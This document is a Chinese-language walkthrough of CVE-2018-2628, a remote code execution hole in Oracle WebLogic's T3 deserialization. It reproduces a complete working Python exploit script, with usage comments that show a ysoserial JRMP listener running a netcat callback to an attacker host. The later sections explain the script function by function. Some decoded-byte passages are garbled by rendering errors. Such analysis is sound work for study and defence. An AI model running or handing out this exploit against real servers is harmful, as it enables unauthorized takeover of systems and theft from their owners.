文章目录
WebLogic概要
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
漏洞概要
CVE-2018-2628是未授权的情况下远程执行(RCE)漏洞,该漏洞在WebLogic Server的WLS核心组件中存在一个未授权的RMI远程攻击接口,具体存在于T3协议的反序列化处理中。
CVE-2018-2628 payload
# -*- coding: utf-8 -*-
# Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) Deserialization Remote Command Execution Vulnerability (CVE-2018-2628)
#
# IMPORTANT: Is provided only for educational or information purposes.
#
# Credit: Thanks by Liao Xinxi of NSFOCUS Security Team
# Reference: http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
#
# How to exploit:
# 1. run below command on JRMPListener host
# 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
# 2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
# e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
# 2. start a listener on attacker host
# e.g. nc -nlvp 4040
# 3. run this script on attacker host
# 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
# 2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
# e.g.
# a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
# b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)
from __future__ import print_function
import binascii
import os
import socket
import sys
import time
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')
def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')
if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()
dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
payload解析
提示
由于Oracle 官方并没有给出T3协议的具体内容。以下漏洞分析都是根据EXP进行的猜测。
1.为什么要启动一个JRMP Server
要解释这个问题先要介绍一下Java反序列化机制:
- Java的序列化机制允许对象的状态以字节流的形式保存或传输,并在反序列化时恢复对象的原始状态。Java RMI(Remote Method Invocation)允许远程对象调用,其中一个重要的部分是JRMP协议,Java通过该协议进行远程方法调用。在Java的反序列化过程中,如果遇到一个远程对象引用,它会尝试连接指定的远程服务器来获取对象的实际实现。
- Java RMI是一种用于在不同JVM之间调用方法的API。RMI使用JRMP协议作为默认的通信协议。RMI对象可以被序列化,并且在传输时包含远程引用。这些引用通常包含了远程服务器的地址和端口信息。
- 在WebLogic反序列化过程中,如果序列化数据中包含了RMI远程对象引用,JVM会尝试解析并重新构建这些引用。如果引用中包含远程RMI服务器的地址,JVM将尝试通过JRMP协议连接到该远程服务器以完成反序列化。这是因为RMI引用需要验证和解析,以便正确地还原对象的状态和行为。
利用该机制就可以强制目标系统在反序列化时访问攻击者控制的远程服务器,进而触发远程代码执行。
- 通过构造特定的Java对象序列化数据,这些数据中包含了指向远程RMI服务器的引用。当WebLogic反序列化这些数据时,它会尝试通过JRMP协议连接到指定的远程RMI服务器。
- 攻击者使用ysoserial工具启动一个JRMP Server,该Server托管了一个恶意的Java对象。当WebLogic通过反序列化机制连接到该服务器时,会加载和执行这个恶意对象,从而触发任意代码执行。
2.T3协议握手 (t3_handshake)
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')
在这个函数中,EXP首先通过T3协议与WebLogic Server建立连接,并发送初始化握手包(Hex数据)。握手包的主要目的是建立T3协议的通信信道,以便在后续步骤中发送恶意的Java序列化数据。
参数:
sock: 已连接到目标服务器的Socket对象,用于通信。
server_addr: 目标服务器的地址信息(IP和端口号)。
成功连接后,目标服务器会响应握手请求,表示T3协议的通信信道已建立。
’74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a‘十六进制转换后为:
t3 12.2.1
AS:255
HL:19
MS:10000000
3.构建T3请求对象 (build_t3_request_object)
def build_t3_request_object(sock, port):
data1 = '...'
data2 = '...'
data3 = '...'
data4 = '...'
for d in [data1, data2, data3, data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
这里,EXP发送了多个经过Hex编码的T3协议数据包,模拟了一个正常的请求。这些请求生成包含多个数据块的T3请求对象,每个数据块以十六进制编码表示。
请求对象中包含了一些必要的字段,以确保能够正常传递恶意序列化对象。
将构建好的请求对象发送给目标服务器,为后续的恶意载荷注入做准备。
这里data1转换后是
�e��������j��{HJV�Jwvf��ڤ��*��
t��ysrxrxrxp
pppppp
p���srweblogic.rjvm.ClassTableEntry/Re�W��� xprKaTeX parse error: Expected 'EOF', got '#' at position 39: …l.PackageInfo��#̲縮�ImajorIm…weblogic.common.internal.VersionInfo�"EQdRF>[packagest’[Lweblogic/common/internal/PackageInfo;LreleaseVersiontLjava/lang/String;[versionInfoAsBytest[BxrKaTeX parse error: Expected 'EOF', got '#' at position 39: …l.PackageInfo��#̲縮�ImajorIm…weblogic.common.internal.VersionInfo�"EQdRF>[packagesq
data2十六进制编码后为:
~LreleaseVersiontLjava/lang/String;[versionInfoAsBytest[Bxr$weblogic.common.internal.PackageInfo��#縮�ImajorIminorI rollingPatchIservicePackZtemporaryPatchL implTitleq~L
implVendorq~LimplVersionq~xpwx�����srweblogic.rjvm.JVMID�I�>�* xpwP!
192.168.1.227WIN-AGDMVQUB1T6.eh�4��
������������������������x���srweblogic.rjvm.JVMID�I�>�* xpw �B�
format(‘{:04x}’.format(dport)):将变量 “dport” 的值转换为一个4位十六进制字符串。假设 dport = 80,则执行 ‘{:04x}’.format(dport) 的结果为 0050。这是因为 80 的十六进制表示是 50,而使用 04 格式说明符后,结果被补齐为 4 位,即 0050。
4.生成恶意载荷 (generate_payload)
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)
这一部分通过调用ysoserial工具生成恶意的Java对象序列化数据。ysoserial是一款常用的安全工具,用于生成能够利用Java反序列化漏洞的载荷。在这里,EXP将生成的恶意载荷保存为payload.out文件,并通过binascii.hexlify将其转换为Hex编码,准备在后续步骤中发送。
5.发送恶意载荷 (send_payload_objdata)
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
这个函数负责将之前生成的Hex编码载荷注入到已经准备好的T3协议请求对象中,并发送给目标WebLogic Server。代码中的payload变量是实际的反序列化对象,它被构造成恶意数据包,然后通过T3协议传输。这个数据包通过RMI接口最终会被WebLogic反序列化,从而触发远程代码执行。
sock: 已连接到目标服务器的Socket对象,用于通信。
data: 通过generate_payload函数生成的恶意序列化对象,以十六进制字符串形式表示。